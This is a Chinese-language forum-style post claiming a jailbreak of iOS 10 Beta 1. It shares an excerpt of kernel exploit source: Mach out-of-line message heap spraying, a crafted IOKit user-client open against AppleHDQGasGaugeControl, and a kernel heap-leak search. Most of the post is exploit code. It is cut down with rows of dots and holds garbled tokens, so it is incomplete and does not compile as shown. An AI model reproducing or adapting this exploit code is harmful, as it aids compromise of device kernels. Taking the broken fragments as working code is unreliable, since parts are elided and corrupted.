IOS 10 Beta 1 成功越獄

目前只是測式階段，請不要炮我.....以下是目前蟲洞的一小部份原始碼，不知目前的蟲洞在Beta 2 或將來的正式版推出時會不會被封掉，希望接下來的測式皆段都能順利更期待有機會將來在IOS 10 正式版發表的一小時後能是由 台灣的卜龍功我發表出越獄程式...哈哈哈 癡人說夢話中 別炮我 > <






int la = OS_SPINLOCK_INIT;
int lb = OS_SPINLOCK_INIT;
extern "C" kern_return_t io_connect_method_scalarI_scalarO(
io_connect_t conn, uint64_t$1 selector,
io_scalar_inband64_t scalar_input,
mach_msg_type_number_t scalar_inputCnt,
io_struct_inband_t inband_output,
mach_msg_type_number_t *inband_outputCnt
);

io_connect_t con;
int c = OS_SPINLOCK_INIT;
int macDhm = OS_SPINLOCK_INIT;

typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc[64];
mach_msg_trailer_t trailer;
} oolmsg_jumbo_t;

typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc[1];
mach_msg_trailer_t trailer;
} oolmsg_t;
mach_port_t th1port = 0;
int32_t go = 0;
__attribute__((always_inline)) static inline
__unused void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
oolmsg_t *msg=(oolmsg_t *)alloca(sizeof(ooPlmsg_t)+0x3000);
if(!*msgp){
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
}
bzero(msg,sizeof(oolmsg_t));
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 0;
msg->body.msgh_descriptor_count = 0;
msg->desc[0].address = (void *)vz;
msg->desc[0].size = svz;
msg->desc[0].type = MACH_MSG_OOL_DESCRIPTOR;
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
}
__attribute__((always_inline)) static inline
__unused char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=(oolmsg_t *)alloca(sizeof(oolmsg_t)+0x2000);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return (char*)msg->desc[0].address;
}
__unused void drop_kern_data(mach_port_t port) {
oolmsg_t *msg=(oolmsg_t *)alloca(sizeof(oolmsg_t)+0x2000);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
vm_deallocate(mach_task_self(), (vm_address_t) msg->desc[0].address,msg->desc[0].size);
}

char ppad[0x10000];
#import <sys/event.h>
void pwn_this_bitch(mach_port_t a, mach_port_t b) {

static uint64_t heap_leak_ptr = 0;
static io_connect_t heap_leak_conn = 0;
static char* heap_leak = 0;
char mmsg[0x300];
oolmsg_t* msg = (oolmsg_t*)mmsg;
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG|MACH_RCV_TIMEOUT, 0, sizeof(oolmsg_t)+0x2000, a, 1000, MACH_PORT_NULL);
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->header.msgh_local_port = MACH_PORT_NULL;

msg->header.msgh_remote_port = a;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
assert(*(uint32_t*)(msg->desc[0].address) == 0x13371337);

kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(masterPort, IOServiceMatching("AppleHDQGasGaugeControl"), &iterator);
io_service_t gg = IOIteratorNext(iterator);
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
<data>AwDOAO++rd4AAAAAAAAAAFABAAAAAAAA/v4xQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data><key>2</key><data>AwAAAO++rd4AAAAAAAAAAFABAAAAAAAA/v4xQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

..

..

.AAAAAAAAAAAAAAAAA</data><key>8</key><data>AwADOO++rd4AAAAAAAAAAFABAAAAAAAA/v4xQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</data><key>step1</key><data></data></dict>";

io_connect_t cnn=0;

mach_port_t spray;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &spray);
mach_port_insert_right(mach_task_self(), spray, spray, MACH_MSG_TYPE_MAKE_SEND);
~
..

.
.
.
.
.
.
..

.
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );

usleep(10);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG|MACH_RCV_TIMEOUT, 0, sizeof(oolmsg_t)+0x2000, b, 1000, MACH_PORT_NULL);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG|MACH_RCV_TIMEOUT, 0, sizeof(oolmsg_t)+0x2000, spray, 1000, MACH_PORT_NULL);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG|MACH_RCV_TIMEOUT, 0, sizeof(oolmsg_t)+0x2000, spray, 1000, MACH_PORT_NULL);
io_service_open_extended(gg, mach_task_self(), 0, NDR_record, bf, strlen(bf)+1, &err, &cnn);
if(cnn == 0) {
return;
}

__unused uint64_t n[10] = {0};

if (!heap_leak_ptr) {
io_object_t obj=0;
io_iterator_t iter;
io_connect_t smashconn = 0;

usleep(10);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG|MACH_RCV_TIMEOUT, 0, sizeof(oolmsg_t)+0x2000, a, 4000, MACH_PORT_NULL);
io_service_open_extended(gg, mach_task_self(), 0, NDR_record, 0, 0, &err, &smashconn);
NSLog(@"conn %d", smashconn);
assert(smashconn);

IORegistryEntryCreateIterator(gg, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);
assert(object);
char search_str[400] = {0};
sprintf(search_str, "pid %d", getpid());
while (object != 0)
{
char buffer[9192] = {0};
uint32_t size = sizeof(buffer);
if (IORegistryEntryGetProperty(object, "IOUserClientCreator", buffer, &size) == 0)
{
if (strstr(buffer, search_str) != NULL)
{
if (IORegistryEntryGetProperty(object, "step1", buffer, &size) == 0)
{
obj = object;
break;
}
}
}
IOObjectRelease(object);

object = IOIteratorNext(iter);
}